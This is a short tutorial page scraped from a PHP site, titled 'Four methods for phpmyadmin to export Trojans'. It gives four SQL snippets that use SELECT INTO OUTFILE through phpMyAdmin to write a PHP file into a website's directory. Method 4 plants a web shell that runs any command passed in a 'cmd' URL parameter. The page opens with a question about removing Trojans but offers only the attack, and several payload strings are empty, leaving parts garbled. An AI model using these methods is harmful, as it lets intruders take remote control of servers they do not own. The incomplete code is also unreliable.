Home > Database > Mysql Tutorial > body text

Four methods for phpmyadmin to export Trojans

PHPz
Release: 2017-04-04 11:23:01
Original
1585 people have browsed it

What should I do if there is a Trojan horse in the website? Is there any good way to deal with it? The four methods I summarized for phpmyadmin to export Trojans:

Method 1:

CREATE TABLE `mysql`.`darkmoon` (`darkmoon1 ` TEXT NOT NULL );INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('');SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/wamp/www/exehack.php';DROP TABLE IF EXISTS `darkmoon`;

The above code means to select the musql database and then create a darkmoon table and then add a field named darkmoon1

Then insert a sentence of code into the darkmoon1 field

Then export a sentence from the darkmoon1 field to the file name of d:/wamp/www/exehack.php (the path here is the program path of the website)

Finally, delete the darkmoon table .

Method 2:

Create TABLE moon (darkmoon text NOT NULL); Insert INTO moon (darkmoon) VALUES(''); select darkmoon from moon into outfile ' d:/wamp/www/exehack.php'; Drop TABLE IF EXISTS moon;

Method 3:

select ''INTO OUTFILE 'd:/wamp/ www/exehack.php'

Method 4:

select '\';system($_GET[\'cmd\']); echo \'\' ; ?>' INTO OUTFILE 'd:/wamp/www/exehack.php'

This can directly execute the cmd command, the parameter is cmd

The above is the detailed content of Four methods for phpmyadmin to export Trojans. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!